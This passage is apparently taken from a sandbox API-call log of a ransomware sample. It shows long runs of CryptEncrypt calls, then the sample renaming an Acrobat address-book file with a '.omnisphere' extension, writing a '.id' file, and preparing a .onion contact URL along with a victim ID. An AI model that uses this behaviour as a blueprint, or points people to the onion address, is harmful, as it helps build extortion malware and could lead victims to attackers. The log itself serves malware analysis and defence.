dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.813] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.813] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.813] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.813] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.813] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.813] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.813] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.814] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.814] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.814] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.814] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.814] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.814] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.814] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.814] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.814] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.814] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.814] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.814] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.814] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.814] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.814] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.814] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.814] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.814] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.814] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.814] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.814] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.814] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.815] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.815] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.815] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.815] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.815] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.815] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.815] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.815] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.815] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.815] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.815] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.815] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.815] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.815] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.815] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.815] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.815] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.815] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.815] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.815] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.815] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.815] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.816] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.816] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.816] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.816] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.816] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.816] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.816] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.816] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.816] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.816] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.816] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.816] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.816] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.816] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.816] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.816] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.816] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.816] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.816] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.816] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.816] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.817] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.817] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.817] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.817] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.817] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.817] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.817] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.817] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.817] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.817] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.817] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.817] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.817] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.818] CryptDestroyKey (hKey=0x16396a8) returned 1 [0080.818] CryptReleaseContext (hProv=0x1669230, dwFlags=0x0) returned 1 [0080.818] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x1ebe, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0080.818] WriteFile (in: hFile=0x3a8, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d2d8, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0d2d8*=0x524, lpOverlapped=0x0) returned 1 [0080.820] GetProcessHeap () returned 0x1600000 [0080.820] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2bc) returned 0x1650cd8 [0080.820] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\addressbook.acrodata" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\acrobat\\dc\\security\\addressbook.acrodata"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\addressbook.acrodata.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\acrobat\\dc\\security\\addressbook.acrodata.omnisphere")) returned 1 [0080.822] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\addressbook.acrodata.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\addressbook.acrodata.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\addressbook.acrodata.omnisphere.id" [0080.822] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\addressbook.acrodata.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\acrobat\\dc\\security\\addressbook.acrodata.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0080.823] WriteFile (in: hFile=0x3c4, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0cd60, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0cd60*=0x524, lpOverlapped=0x0) returned 1 [0080.824] CloseHandle (hObject=0x3c4) returned 1 [0080.827] UnmapViewOfFile (lpBaseAddress=0x3430000) returned 1 [0080.827] CloseHandle (hObject=0x3c0) returned 1 [0080.827] SetEndOfFile (hFile=0x3a8) returned 1 [0080.827] FlushFileBuffers (hFile=0x3a8) returned 1 [0080.832] CloseHandle (hObject=0x3a8) returned 1 [0080.832] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\addressbook.acrodata" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security") returned 1 [0080.832] GetProcessHeap () returned 0x1600000 [0080.832] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x1650fa0 [0080.832] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0080.832] GetProcessHeap () returned 0x1600000 [0080.832] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x165f648 [0080.832] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x165f648, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0080.832] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0080.833] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0080.833] GetProcessHeap () returned 0x1600000 [0080.833] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x162f790 [0080.833] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x162f790, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0080.833] 